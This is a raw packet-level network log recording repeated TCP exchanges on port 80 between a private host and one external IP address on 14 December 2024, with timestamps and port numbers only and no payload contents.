Dec 14, 2024 21:42:08.016578913 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.016932964 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:08.138158083 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.439361095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.439728022 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:08.559473991 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.773152113 CET	80	50123	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.773261070 CET	50123	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:08.887294054 CET	50124	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:08.893440008 CET	80	50123	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.893510103 CET	50123	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:08.893745899 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:08.894047976 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:09.007153988 CET	80	50124	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:09.007293940 CET	50124	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:09.013809919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:09.121356010 CET	50124	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:09.241071939 CET	80	50124	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:09.315179110 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:09.319390059 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:09.441660881 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:09.741142988 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:09.741437912 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:09.861557961 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.164931059 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.165186882 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.286144972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.328006983 CET	80	50124	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.328155994 CET	50124	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.434137106 CET	50125	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.449073076 CET	80	50124	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.451245070 CET	50124	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.553952932 CET	80	50125	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.555279016 CET	50125	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.587189913 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.587419987 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.668277979 CET	50125	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:10.707819939 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:10.788851023 CET	80	50125	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.008373022 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.008723974 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:11.129106998 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.429431915 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.429676056 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:11.549590111 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.850532055 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.850917101 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:11.866224051 CET	80	50125	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.866323948 CET	50125	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:11.970555067 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.981050014 CET	50126	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:11.986413956 CET	80	50125	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:11.986490965 CET	50125	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:12.100789070 CET	80	50126	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:12.101129055 CET	50126	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:12.215785980 CET	50126	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:12.271965981 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:12.272178888 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:12.335675001 CET	80	50126	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:12.391940117 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:12.692770958 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:12.705332041 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:12.830265999 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.183075905 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.183612108 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.310483932 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.480423927 CET	80	50126	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.480532885 CET	50126	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.590440035 CET	50127	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.600723982 CET	80	50126	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.600804090 CET	50126	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.611530066 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.612243891 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.710410118 CET	80	50127	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.710489035 CET	50127	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.732004881 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:13.824623108 CET	50127	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:13.945290089 CET	80	50127	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:14.033984900 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:14.034244061 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:14.154280901 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:14.455075026 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:14.455265999 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:14.575845957 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:14.876009941 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:14.876221895 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:14.997389078 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.010986090 CET	80	50127	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.011674881 CET	50127	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.131772995 CET	80	50127	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.131848097 CET	50127	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.137562037 CET	50128	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.257411003 CET	80	50128	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.257492065 CET	50128	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.296885967 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.297211885 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.386609077 CET	50128	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.417442083 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.507041931 CET	80	50128	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.719153881 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:15.719397068 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:15.844088078 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.144841909 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.145140886 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.266251087 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.556710958 CET	80	50128	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.559295893 CET	50128	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.567181110 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.567398071 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.668838978 CET	50129	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.679487944 CET	80	50128	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.679564953 CET	50128	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.687149048 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.788739920 CET	80	50129	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.788836002 CET	50129	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.902771950 CET	50129	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:16.987994909 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:16.988301992 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:17.026585102 CET	80	50129	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:17.112828016 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:17.413913012 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:17.414201975 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:17.534940004 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:17.835575104 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:17.835846901 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:17.955725908 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.090696096 CET	80	50129	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.090950966 CET	50129	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.199882030 CET	50130	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.211216927 CET	80	50129	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.215385914 CET	50129	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.256700993 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.259393930 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.319907904 CET	80	50130	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.319994926 CET	50130	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.379306078 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.433963060 CET	50130	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.553719044 CET	80	50130	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.680212975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:18.680427074 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:18.800302029 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.102596045 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.102833033 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.222577095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.528208017 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.536045074 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.621133089 CET	80	50130	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.621237040 CET	50130	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.655843973 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.731066942 CET	50131	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.742952108 CET	80	50130	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.743071079 CET	50130	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.851035118 CET	80	50131	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.851136923 CET	50131	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.957242966 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:19.957493067 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:19.965276957 CET	50131	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:20.079637051 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:20.087950945 CET	80	50131	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:20.382220984 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:20.382510900 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:20.503767014 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:20.805572987 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:20.805744886 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:20.931381941 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.153223038 CET	80	50131	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.153340101 CET	50131	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.232099056 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.236907005 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.262249947 CET	50132	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.273865938 CET	80	50131	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.277769089 CET	50131	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.356944084 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.385014057 CET	80	50132	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.385812044 CET	50132	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.496633053 CET	50132	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.623671055 CET	80	50132	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.663090944 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:21.663497925 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:21.784056902 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.087620020 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.088001966 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:22.208058119 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.509296894 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.509804964 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:22.631964922 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.710042953 CET	80	50132	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.710201979 CET	50132	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:22.824788094 CET	50133	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:22.831114054 CET	80	50132	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.831392050 CET	50132	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:22.932998896 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.935657024 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:22.945554972 CET	80	50133	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:22.947407007 CET	50133	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:23.056065083 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:23.058973074 CET	50133	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:23.178761005 CET	80	50133	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:23.357266903 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:23.357950926 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:23.481667995 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:23.782718897 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:23.783015966 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:23.903578997 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.203913927 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.204190969 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.248404980 CET	80	50133	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.248528957 CET	50133	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.324100018 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.356039047 CET	50134	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.368753910 CET	80	50133	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.368813992 CET	50133	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.476380110 CET	80	50134	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.476458073 CET	50134	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.590323925 CET	50134	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.625534058 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.625740051 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:24.710175991 CET	80	50134	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:24.745981932 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.047205925 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.047532082 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:25.168658972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.474841118 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.475039959 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:25.598303080 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.775396109 CET	80	50134	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.775700092 CET	50134	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:25.887358904 CET	50135	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:25.896048069 CET	80	50134	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.896210909 CET	50134	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:25.899374962 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:25.899579048 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:26.007433891 CET	80	50135	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:26.007546902 CET	50135	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:26.019460917 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:26.121453047 CET	50135	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:26.294493914 CET	80	50135	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:26.323436975 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:26.323787928 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:26.444015026 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:26.745137930 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:26.746258020 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:26.866118908 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.167479038 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.167701960 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.287641048 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.309505939 CET	80	50135	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.309612036 CET	50135	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.419128895 CET	50136	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.429982901 CET	80	50135	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.430058002 CET	50135	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.539422989 CET	80	50136	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.539697886 CET	50136	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.596535921 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.596775055 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.652725935 CET	50136	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:27.716584921 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:27.772713900 CET	80	50136	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.017587900 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.017952919 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:28.139293909 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.477798939 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.478024006 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:28.597939968 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.883538961 CET	80	50136	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.885121107 CET	50136	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:28.902668953 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:28.903074026 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:28.996680021 CET	50137	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:29.005486012 CET	80	50136	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.011341095 CET	50136	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:29.022979021 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.119039059 CET	80	50137	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.119102955 CET	50137	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:29.230922937 CET	50137	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:29.324213028 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.325118065 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:29.353307009 CET	80	50137	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.449883938 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.751272917 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:29.751972914 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:29.875222921 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.173165083 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.180567980 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.300527096 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.418724060 CET	80	50137	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.419018984 CET	50137	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.540018082 CET	80	50137	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.541104078 CET	50137	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.541690111 CET	50138	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.601522923 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.605158091 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.662080050 CET	80	50138	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.662328959 CET	50138	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.725506067 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:30.778063059 CET	50138	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:30.897840023 CET	80	50138	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.026063919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.026438951 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:31.146209002 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.447582006 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.450475931 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:31.570267916 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.874962091 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.875190020 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:31.992532969 CET	80	50138	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:31.992618084 CET	50138	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:31.994913101 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.106188059 CET	50139	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:32.113394976 CET	80	50138	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.113518000 CET	50138	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:32.227286100 CET	80	50139	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.227368116 CET	50139	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:32.303792000 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.304069996 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:32.340282917 CET	50139	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:32.424348116 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.460021973 CET	80	50139	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.737174034 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:32.738297939 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:32.858273029 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.194164991 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.201205015 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:33.321151972 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.539092064 CET	80	50139	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.543494940 CET	50139	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:33.623481035 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.623708010 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:33.653147936 CET	50140	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:33.663759947 CET	80	50139	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.663830996 CET	50139	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:33.743968010 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.773303032 CET	80	50140	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:33.773495913 CET	50140	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:33.887216091 CET	50140	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:34.006959915 CET	80	50140	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:34.044851065 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:34.045938015 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:42:34.166171074 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:42:34.472307920 CET	80	49740	154.216.16.83	192.168.2.4
